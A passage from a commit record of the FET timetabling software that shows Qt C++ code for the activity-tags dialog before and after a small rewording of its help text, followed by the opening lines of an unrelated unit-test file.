Lalescu (in particular, you can find here the e-mail address)>\n\/\/ Copyright (C) 2005 Liviu Lalescu <https:\/\/lalescu.ro\/liviu\/>\n\/\/\n\/***************************************************************************\n * *\n * This program is free software: you can redistribute it and\/or modify *\n * it under the terms of the GNU Affero General Public License as *\n * published by the Free Software Foundation, either version 3 of the *\n * License, or (at your option) any later version. *\n * *\n ***************************************************************************\/\n\n#include \"timetable_defs.h\"\n#include \"timetable.h\"\n#include \"fet.h\"\n#include \"activitytagsform.h\"\n#include \"studentsset.h\"\n#include \"teacher.h\"\n#include \"subject.h\"\n#include \"activitytag.h\"\n\n#include <QInputDialog>\n\n#include <QMessageBox>\n\n#include <QListWidget>\n#include <QAbstractItemView>\n\n#include <QSplitter>\n#include <QSettings>\n#include <QObject>\n#include <QMetaObject>\n\nextern const QString COMPANY;\nextern const QString PROGRAM;\n\nActivityTagsForm::ActivityTagsForm(QWidget* parent): QDialog(parent)\n{\n\tsetupUi(this);\n\t\n\tcurrentActivityTagTextEdit->setReadOnly(true);\n\n\trenameActivityTagPushButton->setDefault(true);\n\n\tactivityTagsListWidget->setSelectionMode(QAbstractItemView::SingleSelection);\n\n\tconnect(closePushButton, SIGNAL(clicked()), this, SLOT(close()));\n\tconnect(addActivityTagPushButton, SIGNAL(clicked()), this, SLOT(addActivityTag()));\n\tconnect(removeActivityTagPushButton, SIGNAL(clicked()), this, SLOT(removeActivityTag()));\n\tconnect(renameActivityTagPushButton, SIGNAL(clicked()), this, SLOT(renameActivityTag()));\n\n\tconnect(moveActivityTagUpPushButton, SIGNAL(clicked()), this, SLOT(moveActivityTagUp()));\n\tconnect(moveActivityTagDownPushButton, SIGNAL(clicked()), this, SLOT(moveActivityTagDown()));\n\n\tconnect(sortActivityTagsPushButton, SIGNAL(clicked()), this, SLOT(sortActivityTags()));\n\tconnect(activityTagsListWidget, SIGNAL(currentRowChanged(int)), this, SLOT(activityTagChanged(int)));\n\tconnect(activateActivityTagPushButton, SIGNAL(clicked()), this, SLOT(activateActivityTag()));\n\tconnect(deactivateActivityTagPushButton, SIGNAL(clicked()), this, SLOT(deactivateActivityTag()));\n\tconnect(activityTagsListWidget, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(renameActivityTag()));\n\tconnect(helpPushButton, SIGNAL(clicked()), this, SLOT(help()));\n\n\tconnect(printablePushButton, SIGNAL(clicked()), this, SLOT(printableActivityTag()));\n\tconnect(notPrintablePushButton, SIGNAL(clicked()), this, SLOT(notPrintableActivityTag()));\n\n\tconnect(commentsPushButton, SIGNAL(clicked()), this, SLOT(comments()));\n\n\tcenterWidgetOnScreen(this);\n\trestoreFETDialogGeometry(this);\n\t\/\/restore splitter state\n\tQSettings settings(COMPANY, PROGRAM);\n\tif(settings.contains(this->metaObject()->className()+QString(\"\/splitter-state\")))\n\t\tsplitter->restoreState(settings.value(this->metaObject()->className()+QString(\"\/splitter-state\")).toByteArray());\n\t\t\n\tactivityTagsListWidget->clear();\n\tfor(int i=0; i<gt.rules.activityTagsList.size(); i++){\n\t\tActivityTag* sbt=gt.rules.activityTagsList[i];\n\t\tactivityTagsListWidget->addItem(sbt->name);\n\t}\n\t\t\n\tif(activityTagsListWidget->count()>0)\n\t\tactivityTagsListWidget->setCurrentRow(0);\n}\n\n\nActivityTagsForm::~ActivityTagsForm()\n{\n\tsaveFETDialogGeometry(this);\n\t\/\/save splitter state\n\tQSettings settings(COMPANY, PROGRAM);\n\tsettings.setValue(this->metaObject()->className()+QString(\"\/splitter-state\"), splitter->saveState());\n}\n\nvoid ActivityTagsForm::addActivityTag()\n{\n\tbool ok = false;\n\tActivityTag* sbt=new ActivityTag();\n\tsbt->name = QInputDialog::getText( this, tr(\"Add activity tag\"), tr(\"Please enter activity tag's name\") ,\n\t QLineEdit::Normal, QString(), &ok );\n\n\tif ( ok && !((sbt->name).isEmpty()) ){\n\t\t\/\/ user entered something and pressed OK\n\t\tif(!gt.rules.addActivityTag(sbt)){\n\t\t\tQMessageBox::information( this, tr(\"Activity tag insertion dialog\"),\n\t\t\t\ttr(\"Could not insert item. Must be a duplicate\"));\n\t\t\tdelete sbt;\n\t\t}\n\t\telse{\n\t\t\tactivityTagsListWidget->addItem(sbt->name);\n\t\t\tactivityTagsListWidget->setCurrentRow(activityTagsListWidget->count()-1);\n\t\t}\n\t}\n\telse{\n\t\tif(ok){ \/\/the user entered nothing\n\t\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Incorrect name\"));\n\t\t}\n\t\tdelete sbt;\/\/ user entered nothing or pressed Cancel\n\t}\n}\n\nvoid ActivityTagsForm::removeActivityTag()\n{\n\tint i=activityTagsListWidget->currentRow();\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\tint activity_tag_ID=gt.rules.searchActivityTag(text);\n\tif(activity_tag_ID<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tif(QMessageBox::warning( this, tr(\"FET\"),\n\t\ttr(\"Are you sure you want to delete this activity tag?\"),\n\t\ttr(\"Yes\"), tr(\"No\"), 0, 0, 1 ) == 1)\n\t\treturn;\n\n\tint tmp=gt.rules.removeActivityTag(text);\n\tif(tmp){\n\t\tactivityTagsListWidget->setCurrentRow(-1);\n\t\tQListWidgetItem* item;\n\t\titem=activityTagsListWidget->takeItem(i);\n\t\tdelete item;\n\t\t\n\t\tif(i>=activityTagsListWidget->count())\n\t\t\ti=activityTagsListWidget->count()-1;\n\t\tif(i>=0)\n\t\t\tactivityTagsListWidget->setCurrentRow(i);\n\t\telse\n\t\t\tcurrentActivityTagTextEdit->setPlainText(QString(\"\"));\n\t}\n}\n\nvoid ActivityTagsForm::renameActivityTag()\n{\n\tint i=activityTagsListWidget->currentRow();\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\t\n\tQString initialActivityTagName=activityTagsListWidget->currentItem()->text();\n\n\tint activity_tag_ID=gt.rules.searchActivityTag(initialActivityTagName);\n\tif(activity_tag_ID<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tbool ok = false;\n\tQString finalActivityTagName;\n\tfinalActivityTagName = QInputDialog::getText( this, tr(\"Rename activity tag\"), tr(\"Please enter new activity tag's name\") ,\n\t QLineEdit::Normal, initialActivityTagName, &ok );\n\n\tif ( ok && !(finalActivityTagName.isEmpty()) ){\n\t\t\/\/ user entered something and pressed OK\n\t\tif(gt.rules.searchActivityTag(finalActivityTagName)>=0){\n\t\t\tQMessageBox::information( this, tr(\"Activity tag insertion dialog\"),\n\t\t\t\ttr(\"Could not modify item. New name must be a duplicate\"));\n\t\t}\n\t\telse{\n\t\t\tgt.rules.modifyActivityTag(initialActivityTagName, finalActivityTagName);\n\t\t\tactivityTagsListWidget->item(i)->setText(finalActivityTagName);\n\t\t\tactivityTagChanged(activityTagsListWidget->currentRow());\n\t\t}\n\t}\n}\n\nvoid ActivityTagsForm::moveActivityTagUp()\n{\n\tif(activityTagsListWidget->count()<=1)\n\t\treturn;\n\tint i=activityTagsListWidget->currentRow();\n\tif(i<0 || i>=activityTagsListWidget->count())\n\t\treturn;\n\tif(i==0)\n\t\treturn;\n\t\t\n\tQString s1=activityTagsListWidget->item(i)->text();\n\tQString s2=activityTagsListWidget->item(i-1)->text();\n\t\n\tActivityTag* at1=gt.rules.activityTagsList.at(i);\n\tActivityTag* at2=gt.rules.activityTagsList.at(i-1);\n\t\n\tgt.rules.internalStructureComputed=false;\n\tsetRulesModifiedAndOtherThings(>.rules);\n\t\n\tactivityTagsListWidget->item(i)->setText(s2);\n\tactivityTagsListWidget->item(i-1)->setText(s1);\n\t\n\tgt.rules.activityTagsList[i]=at2;\n\tgt.rules.activityTagsList[i-1]=at1;\n\t\n\tactivityTagsListWidget->setCurrentRow(i-1);\n\tactivityTagChanged(i-1);\n}\n\nvoid ActivityTagsForm::moveActivityTagDown()\n{\n\tif(activityTagsListWidget->count()<=1)\n\t\treturn;\n\tint i=activityTagsListWidget->currentRow();\n\tif(i<0 || i>=activityTagsListWidget->count())\n\t\treturn;\n\tif(i==activityTagsListWidget->count()-1)\n\t\treturn;\n\t\t\n\tQString s1=activityTagsListWidget->item(i)->text();\n\tQString s2=activityTagsListWidget->item(i+1)->text();\n\t\n\tActivityTag* at1=gt.rules.activityTagsList.at(i);\n\tActivityTag* at2=gt.rules.activityTagsList.at(i+1);\n\t\n\tgt.rules.internalStructureComputed=false;\n\tsetRulesModifiedAndOtherThings(>.rules);\n\t\n\tactivityTagsListWidget->item(i)->setText(s2);\n\tactivityTagsListWidget->item(i+1)->setText(s1);\n\t\n\tgt.rules.activityTagsList[i]=at2;\n\tgt.rules.activityTagsList[i+1]=at1;\n\t\n\tactivityTagsListWidget->setCurrentRow(i+1);\n\tactivityTagChanged(i+1);\n}\n\nvoid ActivityTagsForm::sortActivityTags()\n{\n\tgt.rules.sortActivityTagsAlphabetically();\n\n\tactivityTagsListWidget->clear();\n\tfor(int i=0; i<gt.rules.activityTagsList.size(); i++){\n\t\tActivityTag* sbt=gt.rules.activityTagsList[i];\n\t\tactivityTagsListWidget->addItem(sbt->name);\n\t}\n\n\tif(activityTagsListWidget->count()>0)\n\t\tactivityTagsListWidget->setCurrentRow(0);\n}\n\nvoid ActivityTagsForm::activityTagChanged(int index)\n{\n\tif(index<0){\n\t\tcurrentActivityTagTextEdit->setPlainText(QString(\"\"));\n\t\treturn;\n\t}\n\t\n\tActivityTag* st=gt.rules.activityTagsList.at(index);\n\tassert(st);\n\tQString s=st->getDetailedDescriptionWithConstraints(gt.rules);\n\tcurrentActivityTagTextEdit->setPlainText(s);\n}\n\nvoid ActivityTagsForm::activateActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\tint count=gt.rules.activateActivityTag(text);\n\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Activated a number of %1 activities\").arg(count));\n}\n\nvoid ActivityTagsForm::deactivateActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\tint count=gt.rules.deactivateActivityTag(text);\n\tQMessageBox::information(this, tr(\"FET information\"), tr(\"De-activated a number of %1 activities\").arg(count));\n}\n\nvoid ActivityTagsForm::printableActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\t\n\tgt.rules.makeActivityTagPrintable(text);\n\n\tactivityTagChanged(activityTagsListWidget->currentRow());\n}\n\nvoid ActivityTagsForm::notPrintableActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\t\n\tgt.rules.makeActivityTagNotPrintable(text);\n\n\tactivityTagChanged(activityTagsListWidget->currentRow());\n}\n\nvoid ActivityTagsForm::help()\n{\n\tQMessageBox::information(this, tr(\"FET help on activity tags\"), \n\t tr(\"Activity tag is a field which can be used or not, depending on your wish (optional field).\"\n\t \" It is designed to help you with some constraints. Each activity has a possible empty list of activity tags\"\n\t \" (if you don't use activity tags, the list will be empty)\"));\n}\n\nvoid ActivityTagsForm::comments()\n{\n\tint ind=activityTagsListWidget->currentRow();\n\tif(ind<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\t\n\tActivityTag* at=gt.rules.activityTagsList[ind];\n\tassert(at!=NULL);\n\n\tQDialog getCommentsDialog(this);\n\t\n\tgetCommentsDialog.setWindowTitle(tr(\"Activity tag comments\"));\n\t\n\tQPushButton* okPB=new QPushButton(tr(\"OK\"));\n\tokPB->setDefault(true);\n\tQPushButton* cancelPB=new QPushButton(tr(\"Cancel\"));\n\t\n\tconnect(okPB, SIGNAL(clicked()), &getCommentsDialog, SLOT(accept()));\n\tconnect(cancelPB, SIGNAL(clicked()), &getCommentsDialog, SLOT(reject()));\n\n\tQHBoxLayout* hl=new QHBoxLayout();\n\thl->addStretch();\n\thl->addWidget(okPB);\n\thl->addWidget(cancelPB);\n\t\n\tQVBoxLayout* vl=new QVBoxLayout();\n\t\n\tQPlainTextEdit* commentsPT=new QPlainTextEdit();\n\tcommentsPT->setPlainText(at->comments);\n\tcommentsPT->selectAll();\n\tcommentsPT->setFocus();\n\t\n\tvl->addWidget(commentsPT);\n\tvl->addLayout(hl);\n\t\n\tgetCommentsDialog.setLayout(vl);\n\t\n\tconst QString settingsName=QString(\"ActivityTagCommentsDialog\");\n\t\n\tgetCommentsDialog.resize(500, 320);\n\tcenterWidgetOnScreen(&getCommentsDialog);\n\trestoreFETDialogGeometry(&getCommentsDialog, settingsName);\n\t\n\tint t=getCommentsDialog.exec();\n\tsaveFETDialogGeometry(&getCommentsDialog, settingsName);\n\t\n\tif(t==QDialog::Accepted){\n\t\tat->comments=commentsPT->toPlainText();\n\t\n\t\tgt.rules.internalStructureComputed=false;\n\t\tsetRulesModifiedAndOtherThings(>.rules);\n\n\t\tactivityTagChanged(ind);\n\t}\n}\n<commit_msg>activity tag help string clarification<commit_after>\/\/\n\/\/\n\/\/ Description: This file is part of FET\n\/\/\n\/\/\n\/\/ Author: Lalescu Liviu <Please see https:\/\/lalescu.ro\/liviu\/ for details about contacting Liviu Lalescu (in particular, you can find here the e-mail address)>\n\/\/ Copyright (C) 2005 Liviu Lalescu <https:\/\/lalescu.ro\/liviu\/>\n\/\/\n\/***************************************************************************\n * *\n * This program is free software: you can redistribute it and\/or modify *\n * it under the terms of the GNU Affero General Public License as *\n * published by the Free Software Foundation, either version 3 of the *\n * License, or (at your option) any later version. *\n * *\n ***************************************************************************\/\n\n#include \"timetable_defs.h\"\n#include \"timetable.h\"\n#include \"fet.h\"\n#include \"activitytagsform.h\"\n#include \"studentsset.h\"\n#include \"teacher.h\"\n#include \"subject.h\"\n#include \"activitytag.h\"\n\n#include <QInputDialog>\n\n#include <QMessageBox>\n\n#include <QListWidget>\n#include <QAbstractItemView>\n\n#include <QSplitter>\n#include <QSettings>\n#include <QObject>\n#include <QMetaObject>\n\nextern const QString COMPANY;\nextern const QString PROGRAM;\n\nActivityTagsForm::ActivityTagsForm(QWidget* parent): QDialog(parent)\n{\n\tsetupUi(this);\n\t\n\tcurrentActivityTagTextEdit->setReadOnly(true);\n\n\trenameActivityTagPushButton->setDefault(true);\n\n\tactivityTagsListWidget->setSelectionMode(QAbstractItemView::SingleSelection);\n\n\tconnect(closePushButton, SIGNAL(clicked()), this, SLOT(close()));\n\tconnect(addActivityTagPushButton, SIGNAL(clicked()), this, SLOT(addActivityTag()));\n\tconnect(removeActivityTagPushButton, SIGNAL(clicked()), this, SLOT(removeActivityTag()));\n\tconnect(renameActivityTagPushButton, SIGNAL(clicked()), this, SLOT(renameActivityTag()));\n\n\tconnect(moveActivityTagUpPushButton, SIGNAL(clicked()), this, SLOT(moveActivityTagUp()));\n\tconnect(moveActivityTagDownPushButton, SIGNAL(clicked()), this, SLOT(moveActivityTagDown()));\n\n\tconnect(sortActivityTagsPushButton, SIGNAL(clicked()), this, SLOT(sortActivityTags()));\n\tconnect(activityTagsListWidget, SIGNAL(currentRowChanged(int)), this, SLOT(activityTagChanged(int)));\n\tconnect(activateActivityTagPushButton, SIGNAL(clicked()), this, SLOT(activateActivityTag()));\n\tconnect(deactivateActivityTagPushButton, SIGNAL(clicked()), this, SLOT(deactivateActivityTag()));\n\tconnect(activityTagsListWidget, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(renameActivityTag()));\n\tconnect(helpPushButton, SIGNAL(clicked()), this, SLOT(help()));\n\n\tconnect(printablePushButton, SIGNAL(clicked()), this, SLOT(printableActivityTag()));\n\tconnect(notPrintablePushButton, SIGNAL(clicked()), this, SLOT(notPrintableActivityTag()));\n\n\tconnect(commentsPushButton, SIGNAL(clicked()), this, SLOT(comments()));\n\n\tcenterWidgetOnScreen(this);\n\trestoreFETDialogGeometry(this);\n\t\/\/restore splitter state\n\tQSettings settings(COMPANY, PROGRAM);\n\tif(settings.contains(this->metaObject()->className()+QString(\"\/splitter-state\")))\n\t\tsplitter->restoreState(settings.value(this->metaObject()->className()+QString(\"\/splitter-state\")).toByteArray());\n\t\t\n\tactivityTagsListWidget->clear();\n\tfor(int i=0; i<gt.rules.activityTagsList.size(); i++){\n\t\tActivityTag* sbt=gt.rules.activityTagsList[i];\n\t\tactivityTagsListWidget->addItem(sbt->name);\n\t}\n\t\t\n\tif(activityTagsListWidget->count()>0)\n\t\tactivityTagsListWidget->setCurrentRow(0);\n}\n\n\nActivityTagsForm::~ActivityTagsForm()\n{\n\tsaveFETDialogGeometry(this);\n\t\/\/save splitter state\n\tQSettings settings(COMPANY, PROGRAM);\n\tsettings.setValue(this->metaObject()->className()+QString(\"\/splitter-state\"), splitter->saveState());\n}\n\nvoid ActivityTagsForm::addActivityTag()\n{\n\tbool ok = false;\n\tActivityTag* sbt=new ActivityTag();\n\tsbt->name = QInputDialog::getText( this, tr(\"Add activity tag\"), tr(\"Please enter activity tag's name\") ,\n\t QLineEdit::Normal, QString(), &ok );\n\n\tif ( ok && !((sbt->name).isEmpty()) ){\n\t\t\/\/ user entered something and pressed OK\n\t\tif(!gt.rules.addActivityTag(sbt)){\n\t\t\tQMessageBox::information( this, tr(\"Activity tag insertion dialog\"),\n\t\t\t\ttr(\"Could not insert item. Must be a duplicate\"));\n\t\t\tdelete sbt;\n\t\t}\n\t\telse{\n\t\t\tactivityTagsListWidget->addItem(sbt->name);\n\t\t\tactivityTagsListWidget->setCurrentRow(activityTagsListWidget->count()-1);\n\t\t}\n\t}\n\telse{\n\t\tif(ok){ \/\/the user entered nothing\n\t\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Incorrect name\"));\n\t\t}\n\t\tdelete sbt;\/\/ user entered nothing or pressed Cancel\n\t}\n}\n\nvoid ActivityTagsForm::removeActivityTag()\n{\n\tint i=activityTagsListWidget->currentRow();\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\tint activity_tag_ID=gt.rules.searchActivityTag(text);\n\tif(activity_tag_ID<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tif(QMessageBox::warning( this, tr(\"FET\"),\n\t\ttr(\"Are you sure you want to delete this activity tag?\"),\n\t\ttr(\"Yes\"), tr(\"No\"), 0, 0, 1 ) == 1)\n\t\treturn;\n\n\tint tmp=gt.rules.removeActivityTag(text);\n\tif(tmp){\n\t\tactivityTagsListWidget->setCurrentRow(-1);\n\t\tQListWidgetItem* item;\n\t\titem=activityTagsListWidget->takeItem(i);\n\t\tdelete item;\n\t\t\n\t\tif(i>=activityTagsListWidget->count())\n\t\t\ti=activityTagsListWidget->count()-1;\n\t\tif(i>=0)\n\t\t\tactivityTagsListWidget->setCurrentRow(i);\n\t\telse\n\t\t\tcurrentActivityTagTextEdit->setPlainText(QString(\"\"));\n\t}\n}\n\nvoid ActivityTagsForm::renameActivityTag()\n{\n\tint i=activityTagsListWidget->currentRow();\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\t\n\tQString initialActivityTagName=activityTagsListWidget->currentItem()->text();\n\n\tint activity_tag_ID=gt.rules.searchActivityTag(initialActivityTagName);\n\tif(activity_tag_ID<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tbool ok = false;\n\tQString finalActivityTagName;\n\tfinalActivityTagName = QInputDialog::getText( this, tr(\"Rename activity tag\"), tr(\"Please enter new activity tag's name\") ,\n\t QLineEdit::Normal, initialActivityTagName, &ok );\n\n\tif ( ok && !(finalActivityTagName.isEmpty()) ){\n\t\t\/\/ user entered something and pressed OK\n\t\tif(gt.rules.searchActivityTag(finalActivityTagName)>=0){\n\t\t\tQMessageBox::information( this, tr(\"Activity tag insertion dialog\"),\n\t\t\t\ttr(\"Could not modify item. New name must be a duplicate\"));\n\t\t}\n\t\telse{\n\t\t\tgt.rules.modifyActivityTag(initialActivityTagName, finalActivityTagName);\n\t\t\tactivityTagsListWidget->item(i)->setText(finalActivityTagName);\n\t\t\tactivityTagChanged(activityTagsListWidget->currentRow());\n\t\t}\n\t}\n}\n\nvoid ActivityTagsForm::moveActivityTagUp()\n{\n\tif(activityTagsListWidget->count()<=1)\n\t\treturn;\n\tint i=activityTagsListWidget->currentRow();\n\tif(i<0 || i>=activityTagsListWidget->count())\n\t\treturn;\n\tif(i==0)\n\t\treturn;\n\t\t\n\tQString s1=activityTagsListWidget->item(i)->text();\n\tQString s2=activityTagsListWidget->item(i-1)->text();\n\t\n\tActivityTag* at1=gt.rules.activityTagsList.at(i);\n\tActivityTag* at2=gt.rules.activityTagsList.at(i-1);\n\t\n\tgt.rules.internalStructureComputed=false;\n\tsetRulesModifiedAndOtherThings(>.rules);\n\t\n\tactivityTagsListWidget->item(i)->setText(s2);\n\tactivityTagsListWidget->item(i-1)->setText(s1);\n\t\n\tgt.rules.activityTagsList[i]=at2;\n\tgt.rules.activityTagsList[i-1]=at1;\n\t\n\tactivityTagsListWidget->setCurrentRow(i-1);\n\tactivityTagChanged(i-1);\n}\n\nvoid ActivityTagsForm::moveActivityTagDown()\n{\n\tif(activityTagsListWidget->count()<=1)\n\t\treturn;\n\tint i=activityTagsListWidget->currentRow();\n\tif(i<0 || i>=activityTagsListWidget->count())\n\t\treturn;\n\tif(i==activityTagsListWidget->count()-1)\n\t\treturn;\n\t\t\n\tQString s1=activityTagsListWidget->item(i)->text();\n\tQString s2=activityTagsListWidget->item(i+1)->text();\n\t\n\tActivityTag* at1=gt.rules.activityTagsList.at(i);\n\tActivityTag* at2=gt.rules.activityTagsList.at(i+1);\n\t\n\tgt.rules.internalStructureComputed=false;\n\tsetRulesModifiedAndOtherThings(>.rules);\n\t\n\tactivityTagsListWidget->item(i)->setText(s2);\n\tactivityTagsListWidget->item(i+1)->setText(s1);\n\t\n\tgt.rules.activityTagsList[i]=at2;\n\tgt.rules.activityTagsList[i+1]=at1;\n\t\n\tactivityTagsListWidget->setCurrentRow(i+1);\n\tactivityTagChanged(i+1);\n}\n\nvoid ActivityTagsForm::sortActivityTags()\n{\n\tgt.rules.sortActivityTagsAlphabetically();\n\n\tactivityTagsListWidget->clear();\n\tfor(int i=0; i<gt.rules.activityTagsList.size(); i++){\n\t\tActivityTag* sbt=gt.rules.activityTagsList[i];\n\t\tactivityTagsListWidget->addItem(sbt->name);\n\t}\n\n\tif(activityTagsListWidget->count()>0)\n\t\tactivityTagsListWidget->setCurrentRow(0);\n}\n\nvoid ActivityTagsForm::activityTagChanged(int index)\n{\n\tif(index<0){\n\t\tcurrentActivityTagTextEdit->setPlainText(QString(\"\"));\n\t\treturn;\n\t}\n\t\n\tActivityTag* st=gt.rules.activityTagsList.at(index);\n\tassert(st);\n\tQString s=st->getDetailedDescriptionWithConstraints(gt.rules);\n\tcurrentActivityTagTextEdit->setPlainText(s);\n}\n\nvoid ActivityTagsForm::activateActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\tint count=gt.rules.activateActivityTag(text);\n\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Activated a number of %1 activities\").arg(count));\n}\n\nvoid ActivityTagsForm::deactivateActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\tint count=gt.rules.deactivateActivityTag(text);\n\tQMessageBox::information(this, tr(\"FET information\"), tr(\"De-activated a number of %1 activities\").arg(count));\n}\n\nvoid ActivityTagsForm::printableActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\t\n\tgt.rules.makeActivityTagPrintable(text);\n\n\tactivityTagChanged(activityTagsListWidget->currentRow());\n}\n\nvoid ActivityTagsForm::notPrintableActivityTag()\n{\n\tif(activityTagsListWidget->currentRow()<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\n\tQString text=activityTagsListWidget->currentItem()->text();\n\t\n\tgt.rules.makeActivityTagNotPrintable(text);\n\n\tactivityTagChanged(activityTagsListWidget->currentRow());\n}\n\nvoid ActivityTagsForm::help()\n{\n\tQMessageBox::information(this, tr(\"FET help on activity tags\"),\n\t tr(\"Activity tag is a field which can be used or not, depending on your wish (optional field).\"\n\t \" It is designed to help you with some constraints. Each activity has a list of activity tags\"\n\t \" (which may be empty).\"));\n}\n\nvoid ActivityTagsForm::comments()\n{\n\tint ind=activityTagsListWidget->currentRow();\n\tif(ind<0){\n\t\tQMessageBox::information(this, tr(\"FET information\"), tr(\"Invalid selected activity tag\"));\n\t\treturn;\n\t}\n\t\n\tActivityTag* at=gt.rules.activityTagsList[ind];\n\tassert(at!=NULL);\n\n\tQDialog getCommentsDialog(this);\n\t\n\tgetCommentsDialog.setWindowTitle(tr(\"Activity tag comments\"));\n\t\n\tQPushButton* okPB=new QPushButton(tr(\"OK\"));\n\tokPB->setDefault(true);\n\tQPushButton* cancelPB=new QPushButton(tr(\"Cancel\"));\n\t\n\tconnect(okPB, SIGNAL(clicked()), &getCommentsDialog, SLOT(accept()));\n\tconnect(cancelPB, SIGNAL(clicked()), &getCommentsDialog, SLOT(reject()));\n\n\tQHBoxLayout* hl=new QHBoxLayout();\n\thl->addStretch();\n\thl->addWidget(okPB);\n\thl->addWidget(cancelPB);\n\t\n\tQVBoxLayout* vl=new QVBoxLayout();\n\t\n\tQPlainTextEdit* commentsPT=new QPlainTextEdit();\n\tcommentsPT->setPlainText(at->comments);\n\tcommentsPT->selectAll();\n\tcommentsPT->setFocus();\n\t\n\tvl->addWidget(commentsPT);\n\tvl->addLayout(hl);\n\t\n\tgetCommentsDialog.setLayout(vl);\n\t\n\tconst QString settingsName=QString(\"ActivityTagCommentsDialog\");\n\t\n\tgetCommentsDialog.resize(500, 320);\n\tcenterWidgetOnScreen(&getCommentsDialog);\n\trestoreFETDialogGeometry(&getCommentsDialog, settingsName);\n\t\n\tint t=getCommentsDialog.exec();\n\tsaveFETDialogGeometry(&getCommentsDialog, settingsName);\n\t\n\tif(t==QDialog::Accepted){\n\t\tat->comments=commentsPT->toPlainText();\n\t\n\t\tgt.rules.internalStructureComputed=false;\n\t\tsetRulesModifiedAndOtherThings(>.rules);\n\n\t\tactivityTagChanged(ind);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ MaterialTests.cpp\n#include <gtest\/gtest.h>\n#include \"MaterialTests.h\"\n#include <cmath>\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, Constructors){\n EXPECT_EQ(test_mat_->units(), \"kg\");\n EXPECT_EQ(test_mat_->type(), MATERIAL_RES);\n EXPECT_GE(test_mat_->ID(),0);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, Clone) {\n rsrc_ptr clone_mat;\n ASSERT_NO_THROW(clone_mat = test_mat_->clone());\n\n\n \/\/ in order to acommodate discrete material tracking, all ID's mush be unique\n EXPECT_NE(test_mat_->ID(), clone_mat->ID());\n\n EXPECT_EQ(test_mat_->quantity(), clone_mat->quantity());\n EXPECT_EQ(test_mat_->type(), clone_mat->type());\n EXPECT_TRUE(test_mat_->checkQuality(clone_mat));\n EXPECT_DOUBLE_EQ(test_mat_->quantity(), clone_mat->quantity());\n EXPECT_TRUE(clone_mat->checkQuality(test_mat_));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckQuality) {\n rsrc_ptr test(test_mat_);\n rsrc_ptr diff(diff_mat_);\n rsrc_ptr gen(new GenericResource(\"kg\", \"foo\", 10));\n\n EXPECT_TRUE(test->checkQuality(diff));\n EXPECT_TRUE(diff->checkQuality(test));\n EXPECT_FALSE(test->checkQuality(gen));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckIsoMass) {\n \/\/ check total mass, you'll use it later.\n 